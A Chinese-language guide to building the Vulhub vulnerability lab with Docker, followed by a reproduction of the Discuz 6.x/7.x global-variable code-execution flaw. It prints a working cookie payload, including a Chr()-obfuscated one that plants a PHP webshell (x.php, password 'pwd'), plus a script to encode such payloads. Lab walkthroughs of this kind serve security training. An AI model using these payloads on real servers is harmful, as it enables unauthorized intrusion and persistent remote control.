Vulhub漏洞靶场搭建
字数 893 2025-08-18 11:39:19

Vulhub漏洞靶场搭建与使用指南

一、Vulhub简介

Vulhub是一个面向大众的开源漏洞靶场,具有以下特点:

  • 无需Docker专业知识
  • 通过简单命令即可编译和运行完整漏洞靶场镜像
  • 专注于漏洞原理本身,简化复现过程

二、环境准备

1. 系统要求

  • 物理机:Windows 10
  • 虚拟机:CentOS 7 (IP: 192.168.1.13,网卡设置为NAT模式)

2. Docker安装

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

3. Docker-Compose安装

方法一:离线安装

  1. 下载最新版docker-compose-Linux-x86_64
  2. 执行以下命令:
mv docker-compose-Linux-x86_64 /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose version  # 验证安装

方法二:Pip安装

yum -y install epel-release
yum -y install python-pip
pip install docker-compose
pip --version  # 查看版本

4. Vulhub安装

方法一:离线安装

  1. 下载Vulhub压缩包
  2. 执行:
mkdir vulhub && mv master.zip vulhub/ && cd vulhub/
unzip master.zip

方法二:Git安装

yum install -y git
git clone https://github.com/vulhub/vulhub.git

5. Docker加速(可选)

配置阿里云镜像加速:

sudo mkdir -p /etc/docker
vim /etc/docker/daemon.json

添加内容:

{
  "registry-mirrors": ["加速器地址"]
}

重启服务:

sudo systemctl daemon-reload
sudo systemctl restart docker

三、靶场使用

1. 基本操作

  1. 进入目标漏洞目录:
cd vulhub/discuz/wooyun-2010-080723/
  1. (可选)编辑docker-compose.yml修改端口和账号密码:
vi docker-compose.yml
  1. 启动环境:
docker-compose up -d
  1. 关闭环境:
docker-compose down
  1. 重新编译环境:
docker-compose build

2. 物理机访问容器配置

  1. 查看容器IP:
docker ps  # 查看运行服务端口
docker inspect [容器ID] | grep IPAddress
  1. 关闭虚拟机防火墙:
systemctl stop firewalld.service
  1. 物理机添加路由(Windows CMD管理员模式):
route add -p 172.18.0.0 mask 255.255.0.0 192.168.1.13
route print  # 查看路由表

四、漏洞复现示例(Discuz 7.x/6.x全局变量防御绕过导致代码执行)

1. 环境启动

cd vulhub/discuz/wooyun-2010-080723/
docker-compose up -d

2. 安装步骤

  1. 浏览器访问 http://[IP]:[Port]/install/
  2. 安装数据库:
    • 数据库服务器:db
    • 数据库名:discuz
    • 账号密码:root
    • 管理员密码:任意
  3. 跳过联系方式页面

3. 漏洞验证

  1. 登录后进入默认板块
  2. 使用Burp抓包,访问任意帖子
  3. 修改Cookie为:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
  1. 放包后可见phpinfo()被执行

4. 前台GetShell

修改Cookie为:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

将写入x.php文件,密码为pwd,可使用蚁剑连接

五、实用工具

ASCII码转换脚本

import re

# ASCII转字符
def ASCII2word(ASCIIs):
    for c in re.findall(r"(\d+)", ASCIIs):
        print(chr(int(c)),end="")

# 字符转ASCII
def word2ASCII(words):
    ASCIIs = ""
    for word in words:
        ASCIIs += "Chr(" + str(ord(word)) + ")."
    print(ASCIIs.rstrip('.'))

# 示例
asciis = "Chr(102).Chr(112)..."
ASCII2word(asciis)

words = "fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');"
word2ASCII(words)

六、常见问题解决

  1. DNS解析问题
vim /etc/resolv.conf
# 添加:nameserver 223.5.5.5 # AliDNS
  1. Docker连接错误
service docker status
service docker start
  1. 删除全部镜像
docker-compose down --rmi all -v
  1. 删除永久路由
route delete 172.18.0.0
  1. Pip安装超时
mkdir ~/.pip/
cd ~/.pip/
vim pip.conf

添加:

[global]
index-url=https://mirrors.aliyun.com/pypi/simple/

更新pip:

pip install --upgrade pip

七、参考资源

  • Vulhub官方GitHub仓库
  • Docker官方文档
  • 阿里云容器服务
Vulhub漏洞靶场搭建与使用指南 一、Vulhub简介 Vulhub是一个面向大众的开源漏洞靶场,具有以下特点: 无需Docker专业知识 通过简单命令即可编译和运行完整漏洞靶场镜像 专注于漏洞原理本身,简化复现过程 二、环境准备 1. 系统要求 物理机:Windows 10 虚拟机:CentOS 7 (IP: 192.168.1.13,网卡设置为NAT模式) 2. Docker安装 3. Docker-Compose安装 方法一:离线安装 下载最新版docker-compose-Linux-x86_ 64 执行以下命令: 方法二:Pip安装 4. Vulhub安装 方法一:离线安装 下载Vulhub压缩包 执行: 方法二:Git安装 5. Docker加速(可选) 配置阿里云镜像加速: 添加内容: 重启服务: 三、靶场使用 1. 基本操作 进入目标漏洞目录: (可选)编辑docker-compose.yml修改端口和账号密码: 启动环境: 关闭环境: 重新编译环境: 2. 物理机访问容器配置 查看容器IP: 关闭虚拟机防火墙: 物理机添加路由(Windows CMD管理员模式): 四、漏洞复现示例(Discuz 7.x/6.x全局变量防御绕过导致代码执行) 1. 环境启动 2. 安装步骤 浏览器访问 http://[IP]:[Port]/install/ 安装数据库: 数据库服务器:db 数据库名:discuz 账号密码:root 管理员密码:任意 跳过联系方式页面 3. 漏洞验证 登录后进入默认板块 使用Burp抓包,访问任意帖子 修改Cookie为: 放包后可见phpinfo()被执行 4. 前台GetShell 修改Cookie为: 将写入x.php文件,密码为pwd,可使用蚁剑连接 五、实用工具 ASCII码转换脚本 六、常见问题解决 DNS解析问题 : Docker连接错误 : 删除全部镜像 : 删除永久路由 : Pip安装超时 : 添加: 更新pip: 七、参考资源 Vulhub官方GitHub仓库 Docker官方文档 阿里云容器服务